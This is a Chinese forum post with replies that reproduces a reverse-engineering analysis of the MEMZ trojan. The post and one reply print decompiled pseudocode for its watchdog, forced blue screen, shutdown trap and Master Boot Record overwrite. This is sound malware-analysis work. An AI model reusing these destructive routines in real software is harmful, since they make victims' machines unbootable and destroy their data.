首页
论坛
课程
招聘
[病毒木马] [原创]对彩虹猫样本分析的复现
2021-3-2 22:41 3039

[病毒木马] [原创]对彩虹猫样本分析的复现

2021-3-2 22:41
3039

彩虹猫是一个非常有意思的病毒样本,我在看雪上,看到挺多这样的贴子。出于学习的目的,这里我对彩虹猫的分析进行一次复现。如有不足之处,请批评指正。

病毒分析环境的详细介绍
样本名称:MEMZ.exe
MD5: 19DBEC50735B5F2A72D4199C4E184960
SHA1: 6FED7732F7CB6F59743795B2AB154A3676F4C822
实验平台:wind10
实验工具:PEiD v0.95,IDA x32 v7.4,VMWare WorkStation v15.56、Olly ICE v1.10

 

分析的流程:

  • 样本的观察与信息收集
  • 载入IDA等工具,捋顺结构与运行流程。
  • 分块分析,轻重有度,关键部分,特殊对待。
  • 刨根问底,力求搞懂

一、 样本的观察与信息收集

  1. 将病毒放入虚拟机中,运行。当然如果有沙箱环境更好。记得要对虚拟机拍下快照。运行结果如图:
    图片描述
    桌面会慢慢出现一些诡异的现象:自动弹出多个浏览器搜索窗口、鼠标异常晃动、窗口颜色怪异、反复出现系统提示音、出现6个MEMZ进程。这6个名为MEMZ的进程,用户尝试关闭任意一个,或者手动关闭计算机,都会遭至大量弹窗随后蓝屏,接着Windows无法正常启动,只会循环播放一只彩虹猫附带欢快的背景音乐,无论你重启多少次都是如此。运行观察结束后再用一些基本的可执行文件信息查看工具进行勘察。
  2. 查壳。
    使用PEiD来查壳,无壳,有的话,需要脱壳。
    图片描述
  3. 查看导入表。
    继续使用PEiD,点击subsystem,import table来查看导入表,如下图:
    图片描述
    分析API,抓住一些关键的敏感函数,OpenProcessToken、AdjustTokenPrivilege、LookUpPrivilegeValue、SetWindowHookEx、UnhookWindowHookEx、CallNextHookEx等。

    二、 载入IDA等工具,查看结构和运行流程。

    选择32位IDA,载入后,选中start,然后F5,查看伪代码。
    图片描述
    代码过多,可以查看流程图来确定关键的条件语句。
    图片描述
    这里可以确定,程序在开始的时候,先调用了GetsystemMetrics()、GetsystemMetrics()、GetsystemMetrics()、GetCommandLinew()、CommandlineToArgvw()。这几个函数,然后就是一个if条件语句。根据流程,大体可以分为watchdog、main和无参数部分。

    三、 分块分析,轻重有度,关键部分,特殊对待。

    1、 从上往下分析,首先是watchdog部分。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( !lstrcmpW(v1[1], L"/watchdog") )
    {
      CreateThread(0, 0, sub_40114A, 0, 0, 0);                                     //创建线程
      pExecInfo.lpVerb = (LPCWSTR)48;
      pExecInfo.lpParameters = (LPCWSTR)sub_401000;
      pExecInfo.u.hIcon = "hax";
      pExecInfo.lpFile = 0;
      pExecInfo.lpDirectory = 0;
      pExecInfo.nShow = 0;
      pExecInfo.hInstApp = 0;
      pExecInfo.lpIDList = 0;
      pExecInfo.lpClass = 0;
      pExecInfo.hkeyClass = 0;
      pExecInfo.dwHotKey = 0;
      pExecInfo.hProcess = 0;
      RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);                     //注册窗口
      CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);                  //创建窗口
      while ( GetMessageW(&Msg, 0, 0, 0) > 0 )
      {
        TranslateMessage(&Msg);                                                     //消息循环
        DispatchMessageW(&Msg);
      }
    }

从第一个函数API中,我们需要知道sub_40114A的含义,具体的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);               //分配地址空间
v1 = GetCurrentProcess();                                   //获取当前进程的句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);      //获取进程的映像和路径
Sleep(0x3E8u);
while ( 1 )
{
  v2 = CreateToolhelp32Snapshot(2u, 0);                         //拍摄进程快照
  pe.dwSize = 556;
  Process32FirstW(v2, &pe);                                        //遍历
  v3 = lpString1;                                                //V3用来存储进程路径
  v4 = 0;
  do
  {
    hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);
    lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
    GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
    if ( !lstrcmpA(v3, lpString2) )         //比较新生成的进程和之前的路径是否相同,相同,则加1.
      ++v4;
    CloseHandle(hProcess);
    LocalFree((HLOCAL)lpString2);
  }
  while ( Process32NextW(v2, &pe) );                    //遍历
  CloseHandle(v2);
  if ( v4 < v7 )                                        //起一个监控的作用,v7存储最大的V4,如果发现进程减少,则进入sub_401021().
    sub_401021();
  v7 = v4;
  Sleep(0xAu);
}

sub_401021()这里起什么作用呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
  v1 = 20;
  do
  {
    CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);        //创建20个进程
    Sleep(0x64u);
    --v1;
  }
  while ( v1 );
  v2 = v17;
  v17 = a1;
  v9 = v2;
  v3 = LoadLibraryA("ntdll");
  v4 = GetProcAddress(v3, "RtlAdjustPrivilege");
  v5 = GetProcAddress(v3, "NtRaiseHardError");
  v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
  if ( v4 && v5 )
  {
    ((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, &v16, v15, v9);
    v6(-1073741790, 0, 0, 0, 6, &v13);
  }
//上面是主动引发蓝屏
  v7 = GetCurrentProcess();
  OpenProcessToken(v7, 0x28u, &v14);
  LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);
  v10 = 1;
  v12 = 2;
  AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);
  return ExitWindowsEx(6u, 0x10007u);
//这里是退出winds。
}

sub_401021确实是一个强制关机的函数,先创建线程用于弹出大量位置和内容都随机的窗口,再使用蓝屏或退出Windows的方式强制关闭计算机。

 

分析注册并创建窗口这个API,调用RegisterClassExA注册了一个名为“hax”的用户自定义窗口类型,并用CreateWindowExA将其创建。
回调函数sub_401000(),代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  int v4; // ebp@0
  LRESULT result; // eax@3
 
  if ( Msg == 16 || Msg == 22 )       //分别对应 WM_CLOSE和WM_ENDSESSION,对窗口消息进行过滤。
  {
    sub_401021(v4);                          //强制关机函数
    result = 0;
  }
  else
  {
    result = DefWindowProcW(hWnd, Msg, wParam, lParam);
  }
  return result;
}

sub_401021这个强制关机函数在两处被调用。第一个是监测watchdog进程数量,如有减少就调用。第二个是监测用户是否主动关机,如有也调用。这和我们观察阶段看到的完全一致。
GetMessage、TranslateMessage、DispatchMessage被包进一个大的while循环,这是常见的操作,叫做“消息循环”。由于在前面创建了窗口,并且还对发送给窗口的消息进行了过滤,意味着我们必须自己写消息循环完成收取消息和派发消息的工作,否则创建的窗口是收不到消息的。

这里引用一段关于消息循环的说明。
while(GetMessage(&Msg, NULL, 0, 0) > 0)
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}

上面代码的执行过程为:

  1. 消息循环调用GetMessage()从消息队列中查找消息进行处理,如果消息队列为空,程序将停止执行并等待(程序阻塞)。
  2. 事件发生时导致一个消息加入到消息队列(例如系统注册了一个鼠标点击事件),GetMessage()将返回一个正值,这表明有消息需要被处理,并且消息已经填充到传入的MSG参数中;当传入WM_QUIT消息时返回0;如果返回值为负表明发生了错误。
  3. 取出消息(在Msg变量中)并将其传递给TranslateMessage()函数,这个函数做一些额外的处理:将虚拟键值信息转换为字符信息。这一步实际上是可选的,但有些地方需要用到这一步。
  4. 上面的步骤执行完后,将消息传递给DispatchMessage()函数。DispatchMessage()函数将消息分发到消息的目标窗口,并且查找目标窗口过程函数,给窗口过程函数传递窗口句柄、消息、wParam、lParam等参数然后调用该函数。
  5. 在窗口过程函数中,检查消息和其他参数,你可以用它来实现你想要的操作。如果不想处理某些特殊的消息,你应该总是调用DefWindowProc()函数,系统将按按默认的方式处理这些消息(通常认为是不做任何操作)。
  6. 一旦一个消息处理完成,窗口过程函数返回,DispatchMessage()函数返回,继续循环处理下一个消息。
 

关于main部分,这里我借鉴一些另一位大神的内容,也写一个MBP部分。

 

四、 刨根问底,力求搞懂
MBR全称主引导记录(Master Boot Record),整个硬盘最开头的512字节就是它。计算机启动后会先运行MBR里的代码进行各种状态的检查和初始化的工作,然后再把控制权转交给操作系统(简单地讲就是一个JMP指令跳到操作系统的起始代码),Windows就加载启动了。
而彩虹猫病毒,则是直接覆盖了MBR部分,用自己的代码代替,不交出控制权,wind就无法启动。
图片描述
首先通过CreateFile函数打开主硬盘。PhysicalDrive0,就是用来读取主硬盘的函数。然后用0初始化一段内存,空间大小用V4表示。通过指针的方式,将第一段数据拷贝到byte_402118大小,将第二段数据拷贝到byte_402248大小。

 

这里借着MBR,介绍一下Bootkit,拓展一下。
Rootkit高效的获取系统准入使得安全领域的检测技术受到极大的挑战。为防止内核模式的恶意软件以及数字权限管理(DRM)的侵犯,微软在其Vista操作系统及其后续版本中增加了安全策略,在其设备驱动中要求数字签名。这一安全机制,一方面增强了系统安全,而另一方面也防止了合法的第三方应用软件开发商驱动程序。而 Bootkit的出现已攻破windows的设备驱动签名请求。
Bootkit主要利用其内核准入和开机过程的隐身技术,在功能上并无异于Rootkit。他们的不同主要表现在获取准入的方式上。传统的Rootkit利用系统启动时提升权限。而 Bootkit是被安置在外设的主引导扇区和驻留在整个系统的启动过程。
Bootkit病毒是指寄存于磁盘主引导区,通过系统启动来进行提权的病毒。磁盘的主引导区(MBR),是指计算机的被设为启动磁盘的第一个扇区,其中存放着由BIOS(标准输入输出服务,完成基本的系统硬件的初始化,并为操作系统提供基本硬件访问接口)初始化后的将要被加载到内存的代码和硬盘的分区信息,通常这段代码运行后会在存贮在硬盘。图 10-6-3显示了一个MBR被修改的截图。


[公告]春风十里不如你,看雪团队诚邀你的加入!

收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 235
活跃值: 活跃值 (315)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
五毒女 活跃值 2021-3-3 08:58
2
0
大佬,可以帮忙分析解释一下写入MBR的内容吗?为什么会出现”猫“?为什么会播放音乐?感谢大佬
雪    币: 1407
活跃值: 活跃值 (954)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
奋进的小杨 活跃值 2021-3-3 11:03
3
0
  {
    v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u);
    GetModuleFileNameW(0, v10, 0x2000u);
    v11 = 5;
    do
    {
      ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10);                                        //这里是运行一个外部程序,并对外部程序有所控制
      --v11;
    }
    while ( v11 );
    pExecInfo.cbSize = 60;
    pExecInfo.lpFile = v10;
    pExecInfo.lpParameters = L"/main";
    pExecInfo.fMask = 64;
    pExecInfo.hwnd = 0;
    pExecInfo.lpVerb = 0;
    pExecInfo.lpDirectory = 0;
    pExecInfo.hInstApp = 0;
    pExecInfo.nShow = 10;
    ShellExecuteExW(&pExecInfo);
    SetPriorityClass(pExecInfo.hProcess, 0x80u);                                             //设置当前程序运行级别为最高级
  }

另外附上一些函数的用法:


我找到一个很好的流程图,可以借鉴一下。

下面这段的代码是主要是写入MBR。

  }
    v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);              //访问主硬盘,MBR的开头大约有446字节
    hObject = v2;                                                                //接受返回句柄
    if ( v2 == (HANDLE)-1 )
      ExitProcess(2u);
    v3 = 0;
    v4 = LocalAlloc(0x40u, 0x10000u);                                           //分配内存
    v5 = v4;                                                                     //地址赋值
    do
    {
      ++v3;
      *v5 = v5[byte_402118 - v4];                                               //指针指向。
      ++v5;
    }                                                      
    while ( v3 < 0x12F );                                                        //304
    v6 = 0;
    do
    {
      v4[v6 + 510] = byte_402248[v6];
      ++v6;
    }
    while ( v6 < 0x7A0 );                                                         //1952字节,超出了MBR,猜测这部分是音频。
    if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )//这一部分是检查是否可以写入到主硬盘,同时NumberOfBytesWritten,好像加密了
      ExitProcess(3u);
    CloseHandle(hObject);
    v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
    if ( v7 == (HANDLE)-1 )
      ExitProcess(4u);
    if ( !WriteFile(
            v7,
            "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
            "\r\n"
            "Your computer won't boot up again,\r\n"
            "so use it as long as you can!\r\n"
            "\r\n"
            ":D\r\n"
            "\r\n"
            "Trying to kill MEMZ will cause your system to be\r\n"
            "destroyed instantly, so don't try it :D",
            0xDAu,
            &NumberOfBytesWritten,
            0) )
      ExitProcess(5u);
    CloseHandle(v7);
    ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);
    v8 = 0;
    v9 = &off_405130;
    do
    {
      Sleep((DWORD)v9[1]);
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
      ++v8;
      v9 += 2;
    }
    while ( v8 < 0xA );
    while ( 1 )
      Sleep(0x2710u);
  }


雪    币: 213
活跃值: 活跃值 (113)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dzahz 活跃值 2021-3-3 18:23
4
0
雪    币: 434
活跃值: 活跃值 (151)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Ddjsq_2333 活跃值 2021-3-7 21:47
5
0
五毒女 大佬,可以帮忙分析解释一下写入MBR的内容吗?为什么会出现”猫“?为什么会播放音乐?感谢大佬[em_67]
猫和音乐应该是转换成16进制作为第二段覆盖MBR的数据了
游客
登录 | 注册 方可回帖
返回